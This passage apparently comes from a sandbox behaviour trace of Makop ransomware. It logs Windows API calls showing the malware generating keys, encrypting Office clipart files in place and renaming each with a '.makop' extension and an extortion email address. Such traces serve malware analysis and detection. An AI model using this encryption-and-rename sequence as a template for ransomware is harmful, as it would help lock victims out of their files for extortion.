hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.544] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.558] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.559] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.559] GetProcessHeap () returned 0x48a0000 [0125.559] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.559] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.559] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.559] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.560] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.560] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.560] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.560] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.560] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.560] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.561] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.561] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8f0c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8f0c, lpOverlapped=0x0) returned 1 [0125.563] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f10) returned 1 [0125.563] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.563] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8f10, lpOverlapped=0x0) returned 1 [0125.564] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.564] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.564] SetEndOfFile (hFile=0xf0) returned 1 [0125.571] GetProcessHeap () returned 0x48a0000 [0125.571] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.571] GetProcessHeap () returned 0x48a0000 [0125.571] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.572] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.575] CloseHandle (hObject=0xf0) returned 1 [0125.575] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0125.575] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0125.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.623] GetProcessHeap () returned 0x48a0000 [0125.623] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.623] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.623] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.623] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.624] GetProcessHeap () returned 0x48a0000 [0125.624] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.624] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.624] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.624] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.628] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.629] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.629] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.629] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.629] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7850, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7850, lpOverlapped=0x0) returned 1 [0125.631] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7850, dwBufLen=0x7850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7850) returned 1 [0125.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.632] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7850, lpOverlapped=0x0) returned 1 [0125.632] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.632] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.632] SetEndOfFile (hFile=0xf0) returned 1 [0125.641] GetProcessHeap () returned 0x48a0000 [0125.641] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.641] GetProcessHeap () returned 0x48a0000 [0125.641] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.641] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.643] CloseHandle (hObject=0xf0) returned 1 [0125.643] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0125.643] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF") returned 63 [0125.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.644] GetProcessHeap () returned 0x48a0000 [0125.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.644] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.649] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.649] GetProcessHeap () returned 0x48a0000 [0125.649] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.649] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.649] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.649] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.650] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.650] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.650] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.650] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.650] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9658, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9658, lpOverlapped=0x0) returned 1 [0125.652] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9660, dwBufLen=0x9660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9660) returned 1 [0125.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.653] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9660, lpOverlapped=0x0) returned 1 [0125.653] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.653] SetEndOfFile (hFile=0xf0) returned 1 [0125.661] GetProcessHeap () returned 0x48a0000 [0125.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.661] GetProcessHeap () returned 0x48a0000 [0125.661] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.661] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.663] CloseHandle (hObject=0xf0) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0125.663] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned 63 [0125.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.664] GetProcessHeap () returned 0x48a0000 [0125.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.664] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.669] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.669] GetProcessHeap () returned 0x48a0000 [0125.669] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.669] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.669] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.669] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.670] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.670] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.671] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c58, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c58, lpOverlapped=0x0) returned 1 [0125.673] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c60, dwBufLen=0x3c60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c60) returned 1 [0125.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.673] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c60, lpOverlapped=0x0) returned 1 [0125.674] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.674] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.674] SetEndOfFile (hFile=0xf0) returned 1 [0125.681] GetProcessHeap () returned 0x48a0000 [0125.681] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.681] GetProcessHeap () returned 0x48a0000 [0125.681] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.681] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.683] CloseHandle (hObject=0xf0) returned 1 [0125.683] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0125.683] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned 63 [0125.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft 